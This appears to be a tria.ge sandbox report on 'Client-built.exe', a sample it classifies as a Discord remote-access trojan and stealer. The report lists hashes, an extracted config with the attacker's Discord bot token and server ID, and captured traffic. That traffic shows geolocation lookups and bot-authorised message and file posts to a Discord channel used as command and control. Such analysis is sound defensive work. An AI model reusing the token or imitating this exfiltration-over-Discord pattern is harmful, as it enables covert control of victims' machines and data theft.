Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

Client-built.exe

windows7-x64

10

Client-built.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    440s
  • max time network
    1163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/10/2024, 22:08 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Client-built.exe

  • Size

    78KB

  • MD5

    551a04485f5caf25147b76f5a554bfc1

  • SHA1

    c4e5a9ede2c38a7381bd7ef796bb3996eeeef000

  • SHA256

    7dd4cf7bd50b349ac8a4d1439587f395e934b2642766d6eb73e2442b177f54e2

  • SHA512

    094a3e1eba6beea9fccad0979b0683f9bd569834b9b1b864ca493a232f756982deeaaabc04f09b9eafeb7811c922e2737f3d6bb53f246200bfb950c97d12c31a

  • SSDEEP

    1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+5QPIC:5Zv5PDwbjNrmAE+mIC

Score
10/10
discordratpersistenceratrootkitstealer

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI5MjYwNzk0MjkwNjA4NTQzNw.GVi9xR.xH5UnduU--gAZxv8yMJkUJoLgnsi3Qr10kCCec

  • server_id

    1286806950083825754

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

    stealerrootkitratpersistencediscordrat
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
    "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:220

Network

  • flag-us
    DNS
    gateway.discord.gg
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.133.234
    gateway.discord.gg
    IN A
    162.159.135.234
    gateway.discord.gg
    IN A
    162.159.130.234
    gateway.discord.gg
    IN A
    162.159.134.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    Client-built.exe
    Remote address:
    162.159.136.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: Yxcb/DDTS4s44MixPkzegA==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Sun, 06 Oct 2024 22:08:45 GMT
    Connection: upgrade
    sec-websocket-accept: UJilxr3siQtwy/aSWrZOJW0CM9c=
    upgrade: websocket
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3txuDHaL536E5QoUIa73lRDFpaxGYfMKLOP%2F%2Flbaw5fj6msOykGa3Y7SS04Y2OYagdN2SbgidQSmSRft%2BU9IVVVGbsPMatMVaRBFWp7fOKWSKXUP%2BJvEIVUtSyjlaQtTiU6hEg%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 8ce8f8c91b1179b8-LHR
  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    241.150.49.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.150.49.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    234.136.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.136.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    79.190.18.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    79.190.18.2.in-addr.arpa
    IN PTR
    Response
    79.190.18.2.in-addr.arpa
    IN PTR
    a2-18-190-79deploystaticakamaitechnologiescom
  • flag-us
    DNS
    discord.com
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.137.232
    discord.com
    IN A
    162.159.128.233
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.138.232
    discord.com
    IN A
    162.159.136.232
  • flag-us
    POST
    https://discord.com/api/v9/guilds/1286806950083825754/channels
    Client-built.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/guilds/1286806950083825754/channels HTTP/1.1
    authorization: Bot MTI5MjYwNzk0MjkwNjA4NTQzNw.GVi9xR.xH5UnduU--gAZxv8yMJkUJoLgnsi3Qr10kCCec
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 29
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Sun, 06 Oct 2024 22:08:46 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=8e7a2f14842f11efab82a2a003ce64f8; Expires=Fri, 05-Oct-2029 22:08:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1998
    x-ratelimit-reset: 1728338802.618
    x-ratelimit-reset-after: 86276.697
    vary: Accept-Encoding
    via: 1.1 google
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tX4y9fKYJ6ww8UgjY4CuqsNzIYvWuSOHx0r9ndvTDicX0%2BvOpy%2BpU0qb2Xh3w9n6ZeF01LVwcFzeD%2FrU16%2F6MKiO4zfClew6G6u9RBO5JW02yOpnJBZzBFe%2Fq7%2B7"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=8e7a2f14842f11efab82a2a003ce64f87e0ad1be776d6c57fdde7868014f5d456b84c79dd171c6f0842cb336bc5551ae; Expires=Fri, 05-Oct-2029 22:08:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=eec7702e8f78c6b3519e8413939bbff91827954c-1728252526; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=9KZbYBwT.cX50Rb1eXP9m16yvTBzCfPjiRKfj7CTc1M-1728252526095-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8ce8f8ce2ad7068e-LHR
  • flag-us
    DNS
    232.137.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.137.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    133.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    geolocation-db.com
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-de
    GET
    https://geolocation-db.com/json
    Client-built.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:46 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    Client-built.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:46 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    POST
    https://discord.com/api/v9/channels/1292609523428757505/messages
    Client-built.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/channels/1292609523428757505/messages HTTP/1.1
    authorization: Bot MTI5MjYwNzk0MjkwNjA4NTQzNw.GVi9xR.xH5UnduU--gAZxv8yMJkUJoLgnsi3Qr10kCCec
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 115
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sun, 06 Oct 2024 22:08:46 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=8ee2bc50842f11ef89c552e70b3f1dcc; Expires=Fri, 05-Oct-2029 22:08:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1728252527.695
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9vvMqghSq20Z1kk1cVV1pLwvGR3xI18B9liwwPvdoi5%2FpdyxQa8UlTm1lq9wBypxyU%2Fv8Td4zQHIDCyzkVPgN1fBvhqzQFMUzP1qLBGfeWm%2FUYG1IS3VSngZFCWM"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=8ee2bc50842f11ef89c552e70b3f1dcc77d61fb5834659634717ec4e5e99420925f937d4ea4767f5343c304fdeea7478; Expires=Fri, 05-Oct-2029 22:08:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=eec7702e8f78c6b3519e8413939bbff91827954c-1728252526; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=ZZ7jPCH_iTwVwAKKvbRlvOGYEBjPZjGhgDW_qeYtHnk-1728252526778-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8ce8f8d32eea957d-LHR
  • flag-us
    DNS
    253.102.89.159.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    253.102.89.159.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    200.163.202.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.163.202.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    198.187.3.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    198.187.3.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1292609523428757505/messages
    Client-built.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/channels/1292609523428757505/messages HTTP/1.1
    authorization: Bot MTI5MjYwNzk0MjkwNjA4NTQzNw.GVi9xR.xH5UnduU--gAZxv8yMJkUJoLgnsi3Qr10kCCec
    Content-Type: multipart/form-data; boundary="bae967a8-7cd0-4fff-af1a-147b3bc6cad4"
    Host: discord.com
    Content-Length: 3557
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sun, 06 Oct 2024 22:09:24 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=a552aebe842f11ef8519ca4597f038a2; Expires=Fri, 05-Oct-2029 22:09:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1728252565.225
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qv9hyY71%2FyeqJMwZEf0F1vRY71%2FT65%2BL3MOoUOtTDhuZkGcOsuLBlbJnDiABKjYwH%2Bt%2F07HPRHQ19OimNEMP2KdBVqlwuIRPPbbQRf4Qphopxfp6r9ScFNTf5E38"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=a552aebe842f11ef8519ca4597f038a2db88ec2a2ab54a292d717fae0721c3e72246c1afde55c866231333c2d437bc19; Expires=Fri, 05-Oct-2029 22:09:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=427fa8ca445272bc0e64f0b8cd04cd2aef91b949-1728252564; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=n71mDyzQJWuTfiR5wB1Nk58WT4Ydx9VVnhdK9Eh_UTI-1728252564424-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8ce8f9bd6ce948bf-LHR
  • flag-us
    POST
    https://discord.com/api/v9/channels/1292609523428757505/messages
    Client-built.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/channels/1292609523428757505/messages HTTP/1.1
    authorization: Bot MTI5MjYwNzk0MjkwNjA4NTQzNw.GVi9xR.xH5UnduU--gAZxv8yMJkUJoLgnsi3Qr10kCCec
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 31
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sun, 06 Oct 2024 22:09:24 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=a58f3118842f11efbdbe1a2304a7d2ac; Expires=Fri, 05-Oct-2029 22:09:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 3
    x-ratelimit-reset: 1728252566.226
    x-ratelimit-reset-after: 1.509
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tldCm7ratOnOqO1YIND353cb13FP71rIjy49BOQ6CIdkDyf8EFe%2BE90m2bGNaZIPGx%2FxQyojf%2FWT1g8b2DybQhQTgv7aH80%2BqmAnh6qHw5j7tqyKf8lnkjv7OuJ8"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=a58f3118842f11efbdbe1a2304a7d2ac55df77afeaccabb8d776ebe6ff43bc3e782dde54934e17145e5ea54611ee5ed8; Expires=Fri, 05-Oct-2029 22:09:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=427fa8ca445272bc0e64f0b8cd04cd2aef91b949-1728252564; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=IOu15IjqoufdcJrl1i06HtoHMeg0Zx2ycUhodTD_fT4-1728252564818-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8ce8f9c07db1651f-LHR
  • flag-us
    DNS
    69.209.201.84.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    69.209.201.84.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    17.173.189.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.173.189.20.in-addr.arpa
    IN PTR
    Response
  • 162.159.136.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    Client-built.exe
    2.0kB
     23.7kB
     27
    34

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.137.232:443
    https://discord.com/api/v9/guilds/1286806950083825754/channels
    tls, http
    Client-built.exe
    1.1kB
     5.5kB
     11
    13

    HTTP Request

    POST https://discord.com/api/v9/guilds/1286806950083825754/channels

    HTTP Response

    201
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    Client-built.exe
    940 B
     4.5kB
     11
    10

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.137.232:443
    https://discord.com/api/v9/channels/1292609523428757505/messages
    tls, http
    Client-built.exe
    1.3kB
     2.9kB
     9
    10

    HTTP Request

    POST https://discord.com/api/v9/channels/1292609523428757505/messages

    HTTP Response

    200
  • 162.159.137.232:443
    https://discord.com/api/v9/channels/1292609523428757505/messages
    tls, http
    Client-built.exe
    5.0kB
     3.5kB
     13
    13

    HTTP Request

    POST https://discord.com/api/v9/channels/1292609523428757505/messages

    HTTP Response

    200
  • 162.159.137.232:443
    https://discord.com/api/v9/channels/1292609523428757505/messages
    tls, http
    Client-built.exe
    1.2kB
     2.9kB
     9
    10

    HTTP Request

    POST https://discord.com/api/v9/channels/1292609523428757505/messages

    HTTP Response

    200
  • 8.8.8.8:53
    gateway.discord.gg
    dns
    Client-built.exe
    64 B
     144 B
     1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.136.234
    162.159.133.234
    162.159.135.234
    162.159.130.234
    162.159.134.234

  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    241.150.49.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    241.150.49.20.in-addr.arpa

  • 8.8.8.8:53
    234.136.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    234.136.159.162.in-addr.arpa

  • 8.8.8.8:53
    79.190.18.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    79.190.18.2.in-addr.arpa

  • 8.8.8.8:53
    discord.com
    dns
    Client-built.exe
    57 B
     137 B
     1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.137.232
    162.159.128.233
    162.159.135.232
    162.159.138.232
    162.159.136.232

  • 8.8.8.8:53
    232.137.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    232.137.159.162.in-addr.arpa

  • 8.8.8.8:53
    133.32.126.40.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    133.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    geolocation-db.com
    dns
    Client-built.exe
    64 B
     80 B
     1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    253.102.89.159.in-addr.arpa
    dns
    73 B
     140 B
     1
    1

    DNS Request

    253.102.89.159.in-addr.arpa

  • 8.8.8.8:53
    200.163.202.172.in-addr.arpa
    dns
    74 B
     160 B
     1
    1

    DNS Request

    200.163.202.172.in-addr.arpa

  • 8.8.8.8:53
    198.187.3.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    198.187.3.20.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    69.209.201.84.in-addr.arpa
    dns
    72 B
     132 B
     1
    1

    DNS Request

    69.209.201.84.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    13.227.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    13.227.111.52.in-addr.arpa

  • 8.8.8.8:53
    17.173.189.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    17.173.189.20.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/220-1-0x000001EACF950000-0x000001EACF968000-memory.dmp

    Filesize

    96KB

    Download

  • memory/220-2-0x000001EAE9F30000-0x000001EAEA0F2000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/220-0-0x00007FF95A9B3000-0x00007FF95A9B5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/220-3-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/220-4-0x000001EAEA730000-0x000001EAEAC58000-memory.dmp

    Filesize

    5.2MB

    Download

  • memory/220-5-0x00007FF95A9B3000-0x00007FF95A9B5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/220-6-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/220-8-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

    Filesize

    10.8MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.